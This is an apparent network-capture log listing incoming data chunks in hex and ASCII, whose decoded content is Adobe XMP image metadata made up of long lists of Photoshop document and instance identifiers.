2022-07-20 13:44:17 UTC	2943	IN	Data Raw: 37 38 36 43 42 37 35 46 36 33 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 44 35 30 35 32 36 42 41 35 44 39 43 42 36 36 33 36 34 43 38 45 30 42 30 37 38 30 30 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 44 42 34 43 39 32 38 36 44 42 32 41 42 44 35 36 34 35 30 35 37 43 44 45 37 41 38 42 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 45 43 36 46 45 43 35 45 31 39 39 35 43 33 39 31 32 39 33 46 43 35 32 38 42 30 33 34 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 46 30 34 33 39 38 30 33 32 43 34 42 41 31 46 34 44 36 43 37 36 37 42 30 43 35 41 34 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 46 35 33 31 37 36 34 41 41 41 35 45 43 33 39 45 45 44 36 35 41 32 36 Data Ascii: 786CB75F630C</rdf:li> <rdf:li>F5D50526BA5D9CB66364C8E0B07800BD</rdf:li> <rdf:li>F5DB4C9286DB2ABD5645057CDE7A8B73</rdf:li> <rdf:li>F5EC6FEC5E1995C391293FC528B03484</rdf:li> <rdf:li>F5F04398032C4BA1F4D6C767B0C5A438</rdf:li> <rdf:li>F5F531764AAA5EC39EED65A26
2022-07-20 13:44:17 UTC	3017	IN	Data Raw: 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 38 34 33 37 66 66 62 2d 34 37 63 61 2d 32 65 34 36 2d 61 31 35 65 2d 65 65 39 36 34 66 64 39 35 36 63 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 38 38 36 65 39 34 63 2d 32 64 33 66 2d 31 31 65 35 2d 61 63 63 31 2d 66 32 62 32 31 65 39 32 34 34 36 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 38 62 61 34 31 33 31 2d 63 31 61 66 2d 31 31 64 61 2d 38 31 31 35 2d 63 32 62 65 37 61 65 33 62 39 38 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a Data Ascii: f:li>adobe:docid:photoshop:08437ffb-47ca-2e46-a15e-ee964fd956cd</rdf:li> <rdf:li>adobe:docid:photoshop:0886e94c-2d3f-11e5-acc1-f2b21e92446b</rdf:li> <rdf:li>adobe:docid:photoshop:08ba4131-c1af-11da-8115-c2be7ae3b98d</rdf:li> <rdf:li>adobe:docid:photoshop:
2022-07-20 13:44:17 UTC	3033	IN	Data Raw: 38 2d 62 36 32 30 2d 61 31 36 33 30 65 64 61 30 62 61 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 30 38 65 61 32 65 2d 36 63 30 30 2d 31 31 65 37 2d 61 35 66 32 2d 66 37 65 32 62 32 34 36 63 30 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 32 63 30 31 36 61 2d 38 66 34 31 2d 31 31 65 37 2d 61 63 38 30 2d 61 33 62 36 61 61 64 63 30 39 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 33 33 61 34 30 66 2d 31 38 38 63 2d 31 31 37 38 2d 39 63 37 34 2d 66 32 65 34 61 38 37 66 63 32 36 36 3c 2f 72 64 66 3a 6c 69 Data Ascii: 8-b620-a1630eda0ba1</rdf:li> <rdf:li>adobe:docid:photoshop:3808ea2e-6c00-11e7-a5f2-f7e2b246c064</rdf:li> <rdf:li>adobe:docid:photoshop:382c016a-8f41-11e7-ac80-a3b6aadc0915</rdf:li> <rdf:li>adobe:docid:photoshop:3833a40f-188c-1178-9c74-f2e4a87fc266</rdf:li
2022-07-20 13:44:17 UTC	3057	IN	Data Raw: 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 39 39 39 38 62 62 37 2d 33 34 30 36 2d 31 31 37 38 2d 62 66 32 36 2d 64 62 37 36 30 36 38 30 31 61 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 61 35 39 30 34 36 30 2d 66 31 65 33 2d 31 31 65 37 2d 61 62 31 30 2d 62 37 36 39 63 62 37 66 66 62 65 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 61 35 65 36 39 39 32 2d 36 33 37 62 2d 31 31 37 62 2d 39 36 31 64 2d 38 66 62 35 34 31 66 35 32 61 31 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 61 38 37 61 39 39 64 2d 65 36 30 62 Data Ascii: cid:photoshop:49998bb7-3406-1178-bf26-db7606801a44</rdf:li> <rdf:li>adobe:docid:photoshop:4a590460-f1e3-11e7-ab10-b769cb7ffbe0</rdf:li> <rdf:li>adobe:docid:photoshop:4a5e6992-637b-117b-961d-8fb541f52a1a</rdf:li> <rdf:li>adobe:docid:photoshop:4a87a99d-e60b
2022-07-20 13:44:17 UTC	3073	IN	Data Raw: 31 37 65 66 38 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 36 39 36 32 37 38 63 2d 31 39 36 66 2d 31 31 64 38 2d 62 64 39 30 2d 64 39 36 31 63 63 63 38 38 39 39 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 36 39 39 61 64 63 33 2d 64 65 65 39 2d 31 31 64 37 2d 39 36 36 64 2d 63 35 35 66 33 64 39 38 32 33 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 36 65 34 38 64 37 34 2d 64 38 39 31 2d 31 31 65 34 2d 61 35 66 37 2d 65 65 37 30 64 30 65 30 30 37 66 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f Data Ascii: 17ef8c</rdf:li> <rdf:li>adobe:docid:photoshop:7696278c-196f-11d8-bd90-d961ccc8899f</rdf:li> <rdf:li>adobe:docid:photoshop:7699adc3-dee9-11d7-966d-c55f3d982332</rdf:li> <rdf:li>adobe:docid:photoshop:76e48d74-d891-11e4-a5f7-ee70d0e007f7</rdf:li> <rdf:li>ado
2022-07-20 13:44:18 UTC	3487	IN	Data Raw: 70 3a 61 35 39 65 31 34 37 32 2d 63 61 33 66 2d 31 31 64 39 2d 39 65 34 66 2d 61 66 61 61 37 61 39 35 35 65 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 35 39 65 32 34 31 31 2d 61 30 31 65 2d 31 31 37 37 2d 61 32 39 30 2d 38 37 66 33 66 35 30 61 33 32 66 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 35 61 36 36 36 63 33 2d 33 30 39 65 2d 31 31 65 36 2d 39 62 31 35 2d 65 36 34 30 39 32 37 62 66 35 32 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 35 62 34 30 65 30 37 2d 64 35 31 65 2d 31 31 65 30 2d 38 31 31 62 2d 65 Data Ascii: p:a59e1472-ca3f-11d9-9e4f-afaa7a955e12</rdf:li> <rdf:li>adobe:docid:photoshop:a59e2411-a01e-1177-a290-87f3f50a32fc</rdf:li> <rdf:li>adobe:docid:photoshop:a5a666c3-309e-11e6-9b15-e640927bf52f</rdf:li> <rdf:li>adobe:docid:photoshop:a5b40e07-d51e-11e0-811b-e
2022-07-20 13:44:18 UTC	3494	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 63 64 65 37 31 36 34 2d 37 34 38 33 2d 65 39 34 61 2d 61 66 66 32 2d 37 37 30 30 65 30 64 65 64 37 33 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 63 66 33 37 64 64 61 2d 61 62 38 38 2d 31 31 65 36 2d 62 33 35 36 2d 66 64 66 37 64 36 66 30 37 33 61 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 64 30 64 34 37 37 33 2d 38 30 31 66 2d 31 31 64 39 2d 62 66 66 61 2d 63 32 30 64 36 30 38 62 34 39 32 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 Data Ascii: <rdf:li>adobe:docid:photoshop:bcde7164-7483-e94a-aff2-7700e0ded73b</rdf:li> <rdf:li>adobe:docid:photoshop:bcf37dda-ab88-11e6-b356-fdf7d6f073a7</rdf:li> <rdf:li>adobe:docid:photoshop:bd0d4773-801f-11d9-bffa-c20d608b492e</rdf:li> <rdf:li>adobe:docid:photosh
2022-07-20 13:44:18 UTC	3510	IN	Data Raw: 31 31 65 37 2d 62 37 61 61 2d 38 39 33 37 39 39 33 64 62 39 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 61 64 66 36 63 33 30 2d 35 33 37 64 2d 66 35 34 64 2d 61 36 61 35 2d 35 63 64 35 32 61 62 35 66 32 63 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 61 65 32 35 31 32 38 2d 61 32 30 36 2d 31 31 64 39 2d 62 65 62 66 2d 38 63 35 32 63 66 32 36 62 32 34 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 61 65 34 35 35 30 35 2d 39 66 31 61 2d 31 31 37 61 2d 62 62 37 38 2d 65 31 34 63 63 63 36 39 33 39 34 63 3c 2f 72 64 66 Data Ascii: 11e7-b7aa-8937993db999</rdf:li> <rdf:li>adobe:docid:photoshop:eadf6c30-537d-f54d-a6a5-5cd52ab5f2cf</rdf:li> <rdf:li>adobe:docid:photoshop:eae25128-a206-11d9-bebf-8c52cf26b24b</rdf:li> <rdf:li>adobe:docid:photoshop:eae45505-9f1a-117a-bb78-e14ccc69394c</rdf
2022-07-20 13:44:18 UTC	3526	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 41 43 33 32 36 34 45 39 38 33 31 44 45 31 31 39 31 32 41 43 41 31 44 32 36 43 30 38 31 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 41 45 31 31 38 31 34 43 41 32 45 31 31 44 46 38 34 37 35 38 38 38 31 34 30 33 31 39 36 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 41 46 37 41 43 35 39 42 32 34 35 44 46 31 31 42 35 34 34 43 41 38 45 43 43 31 31 38 31 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 42 31 36 31 44 42 32 43 31 31 37 31 31 44 43 38 35 38 45 43 45 32 31 46 31 42 30 38 31 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 42 32 31 35 35 34 34 36 36 35 30 Data Ascii: </rdf:li> <rdf:li>uuid:1AC3264E9831DE11912ACA1D26C08160</rdf:li> <rdf:li>uuid:1AE11814CA2E11DF84758881403196C2</rdf:li> <rdf:li>uuid:1AF7AC59B245DF11B544CA8ECC118138</rdf:li> <rdf:li>uuid:1B161DB2C11711DC858ECE21F1B0810E</rdf:li> <rdf:li>uuid:1B2155446650
2022-07-20 13:44:18 UTC	3534	IN	Data Raw: 30 37 32 46 41 44 33 44 46 31 31 39 43 44 37 46 43 35 46 37 35 31 36 35 35 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 35 42 45 45 43 35 36 39 39 39 33 45 30 31 31 41 41 37 41 43 39 42 46 37 31 33 37 36 38 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 35 43 33 34 44 39 31 44 42 32 36 44 46 31 31 42 37 30 32 43 44 34 44 41 38 42 41 38 35 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 35 43 35 36 45 45 44 39 46 45 30 44 46 31 31 39 33 43 36 38 45 42 31 36 37 44 33 41 42 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 35 45 31 30 37 32 43 46 34 46 46 31 31 44 42 41 45 42 32 43 36 31 36 33 39 31 41 33 39 35 32 3c 2f 72 64 66 3a 6c 69 Data Ascii: 072FAD3DF119CD7FC5F75165556</rdf:li> <rdf:li>uuid:35BEEC569993E011AA7AC9BF71376873</rdf:li> <rdf:li>uuid:35C34D91DB26DF11B702CD4DA8BA8508</rdf:li> <rdf:li>uuid:35C56EED9FE0DF1193C68EB167D3AB82</rdf:li> <rdf:li>uuid:35E1072CF4FF11DBAEB2C616391A3952</rdf:li
2022-07-20 13:44:18 UTC	3550	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 39 32 30 33 39 43 38 41 31 46 38 31 31 44 44 39 42 46 46 42 36 39 34 36 39 39 42 34 42 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 39 33 43 30 44 30 34 35 41 42 30 31 31 44 46 41 33 30 45 44 38 31 35 38 43 37 46 39 46 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 39 35 37 39 42 39 36 37 38 33 30 45 31 31 31 38 44 42 42 46 35 45 38 42 30 41 31 39 37 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 39 41 41 37 37 44 31 31 33 46 34 31 31 44 43 38 37 36 30 45 36 32 42 39 34 43 37 45 35 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 39 43 30 33 35 38 36 35 31 35 46 44 44 31 31 42 Data Ascii: :li> <rdf:li>uuid:692039C8A1F811DD9BFFB694699B4B66</rdf:li> <rdf:li>uuid:693C0D045AB011DFA30ED8158C7F9F78</rdf:li> <rdf:li>uuid:69579B967830E1118DBBF5E8B0A19711</rdf:li> <rdf:li>uuid:69AA77D113F411DC8760E62B94C7E53B</rdf:li> <rdf:li>uuid:69C03586515FDD11B
2022-07-20 13:44:18 UTC	3566	IN	Data Raw: 44 44 46 31 31 38 39 34 33 45 43 37 44 32 45 38 39 43 30 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 39 42 46 44 36 41 30 33 36 34 39 31 31 44 45 38 41 33 43 42 37 30 30 31 33 45 38 39 39 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 39 45 38 35 45 41 31 42 39 34 36 44 46 31 31 38 33 36 39 44 43 33 46 43 30 44 31 31 41 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 39 46 35 45 35 45 45 45 34 34 32 44 46 31 31 39 37 43 32 45 38 33 45 46 39 30 32 34 45 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 39 46 38 31 43 45 39 32 42 42 31 31 31 44 42 38 45 39 33 38 43 33 33 34 39 37 43 38 42 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: DDF118943EC7D2E89C0BA</rdf:li> <rdf:li>uuid:99BFD6A0364911DE8A3CB70013E89938</rdf:li> <rdf:li>uuid:99E85EA1B946DF118369DC3FC0D11A55</rdf:li> <rdf:li>uuid:99F5E5EEE442DF1197C2E83EF9024E6B</rdf:li> <rdf:li>uuid:99F81CE92BB111DB8E938C33497C8B38</rdf:li> <rdf
2022-07-20 13:44:18 UTC	3574	IN	Data Raw: 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 34 37 30 32 38 36 42 34 32 33 31 45 31 31 31 38 44 42 42 46 35 45 38 42 30 41 31 39 37 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 34 38 43 43 33 37 34 46 36 45 32 44 43 31 31 39 33 44 36 45 35 39 33 46 37 30 34 45 46 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 34 42 44 43 34 37 44 43 44 43 42 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 34 43 37 33 32 44 37 43 39 38 37 31 31 44 46 39 31 30 32 43 45 34 33 31 41 44 45 32 46 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 35 32 31 36 44 38 34 43 30 46 34 44 46 31 31 39 46 36 36 42 Data Ascii: <rdf:li>uuid:B470286B4231E1118DBBF5E8B0A19711</rdf:li> <rdf:li>uuid:B48CC374F6E2DC1193D6E593F704EF94</rdf:li> <rdf:li>uuid:B4BDC47DCDCBE011B3FED24831848F59</rdf:li> <rdf:li>uuid:B4C732D7C98711DF9102CE431ADE2FDA</rdf:li> <rdf:li>uuid:B5216D84C0F4DF119F66B
2022-07-20 13:44:18 UTC	3590	IN	Data Raw: 35 33 30 41 34 31 45 30 31 31 38 30 33 41 42 43 42 41 31 39 34 46 32 35 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 32 44 32 41 30 44 44 32 32 43 43 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 32 44 41 45 34 41 32 41 34 30 45 45 34 31 31 39 38 39 33 38 35 39 35 33 39 37 37 43 39 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 33 31 41 37 30 42 45 43 37 36 35 44 43 31 31 41 34 30 31 43 30 41 43 30 34 41 37 43 42 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 33 33 42 43 33 39 37 42 46 44 30 31 31 44 41 41 33 36 42 46 44 41 41 43 31 35 43 42 45 30 44 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: 530A41E011803ABCBA194F257D</rdf:li> <rdf:li>uuid:F2D2A0DD22CCE011B3FED24831848F59</rdf:li> <rdf:li>uuid:F2DAE4A2A40EE411989385953977C96F</rdf:li> <rdf:li>uuid:F31A70BEC765DC11A401C0AC04A7CB84</rdf:li> <rdf:li>uuid:F33BC397BFD011DAA36BFDAAC15CBE0D</rdf:li>
2022-07-20 13:44:18 UTC	3606	IN	Data Raw: 64 69 64 3a 30 32 31 64 33 34 62 63 2d 31 37 30 33 2d 34 34 61 33 2d 62 38 36 63 2d 39 32 64 61 35 31 32 38 36 33 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 35 32 65 39 63 35 2d 33 36 62 65 2d 34 36 34 36 2d 39 36 31 37 2d 63 34 35 33 30 38 64 62 64 35 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 35 33 31 37 38 36 32 44 32 30 36 38 31 31 41 39 36 31 43 34 42 36 41 38 46 38 34 35 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 35 38 45 46 37 43 33 36 32 30 36 38 31 31 38 32 32 41 43 45 43 45 46 36 43 43 30 38 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 36 31 31 64 33 37 2d 65 62 Data Ascii: did:021d34bc-1703-44a3-b86c-92da512863bb</rdf:li> <rdf:li>xmp.did:0252e9c5-36be-4646-9617-c45308dbd592</rdf:li> <rdf:li>xmp.did:025317862D206811A961C4B6A8F845E7</rdf:li> <rdf:li>xmp.did:0258EF7C36206811822ACECEF6CC087F</rdf:li> <rdf:li>xmp.did:02611d37-eb
2022-07-20 13:44:18 UTC	3614	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 45 37 41 36 41 32 38 31 42 31 32 35 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 35 42 42 38 45 32 44 39 39 41 36 37 36 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 37 41 35 39 34 35 36 38 30 35 46 45 37 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 31 44 33 41 46 46 38 32 41 37 46 43 46 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 Data Ascii: f:li> <rdf:li>xmp.did:038011740720681192E7A6A281B12522</rdf:li> <rdf:li>xmp.did:038011740720681195BB8E2D99A676D6</rdf:li> <rdf:li>xmp.did:038011740720681197A59456805FE796</rdf:li> <rdf:li>xmp.did:0380117407206811A1D3AFF82A7FCFB7</rdf:li> <rdf:li>xmp.did:0
2022-07-20 13:44:18 UTC	3630	IN	Data Raw: 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 46 41 37 31 30 44 33 41 38 36 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 46 34 39 38 33 43 30 43 33 46 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 42 30 43 43 39 35 33 38 34 46 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 42 43 36 37 45 37 31 39 42 32 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 38 33 30 32 38 Data Ascii: 80117407206811822AFA710D3A86F8</rdf:li> <rdf:li>xmp.did:0880117407206811871FF4983C0C3FFA</rdf:li> <rdf:li>xmp.did:088011740720681188C6B0CC95384F1C</rdf:li> <rdf:li>xmp.did:088011740720681188C6BC67E719B286</rdf:li> <rdf:li>xmp.did:08801174072068118A6D83028
2022-07-20 13:44:18 UTC	3646	IN	Data Raw: 2d 30 36 34 33 37 33 63 65 30 37 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 63 34 65 30 64 62 2d 36 61 65 35 2d 30 31 34 36 2d 39 63 39 66 2d 36 38 33 64 36 64 62 63 62 32 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 34 30 42 43 42 39 36 32 37 32 30 36 38 31 31 41 44 33 39 42 31 41 36 39 43 31 32 37 46 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 34 31 30 39 32 30 33 32 32 32 30 36 38 31 31 38 30 38 33 44 38 36 43 41 31 35 46 41 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 34 31 33 35 37 36 34 30 34 32 33 36 38 31 31 39 37 41 35 43 38 31 44 39 31 32 34 30 30 32 33 3c 2f 72 64 66 3a Data Ascii: -064373ce0758</rdf:li> <rdf:li>xmp.did:13c4e0db-6ae5-0146-9c9f-683d6dbcb241</rdf:li> <rdf:li>xmp.did:140BCB9627206811AD39B1A69C127F67</rdf:li> <rdf:li>xmp.did:14109203222068118083D86CA15FAF3B</rdf:li> <rdf:li>xmp.did:141357640423681197A5C81D91240023</rdf:
2022-07-20 13:44:18 UTC	3653	IN	Data Raw: 30 36 38 31 31 41 42 36 31 39 39 36 44 35 46 36 41 41 33 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 41 45 30 39 32 43 37 41 31 32 32 36 38 31 31 39 39 34 43 41 30 45 36 41 42 31 43 31 35 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 41 46 32 46 37 34 43 46 44 37 42 45 30 31 31 41 31 32 42 44 35 39 41 33 30 46 37 42 35 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 42 30 38 39 30 32 42 38 32 36 42 31 31 45 32 39 41 45 38 45 46 35 44 38 30 39 43 36 36 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 42 31 32 42 34 34 35 30 37 44 35 45 30 31 31 41 35 38 39 44 35 39 37 41 46 39 44 31 34 33 44 3c 2f Data Ascii: 06811AB61996D5F6AA328</rdf:li> <rdf:li>xmp.did:1AE092C7A1226811994CA0E6AB1C1578</rdf:li> <rdf:li>xmp.did:1AF2F74CFD7BE011A12BD59A30F7B594</rdf:li> <rdf:li>xmp.did:1B08902B826B11E29AE8EF5D809C6681</rdf:li> <rdf:li>xmp.did:1B12B44507D5E011A589D597AF9D143D</
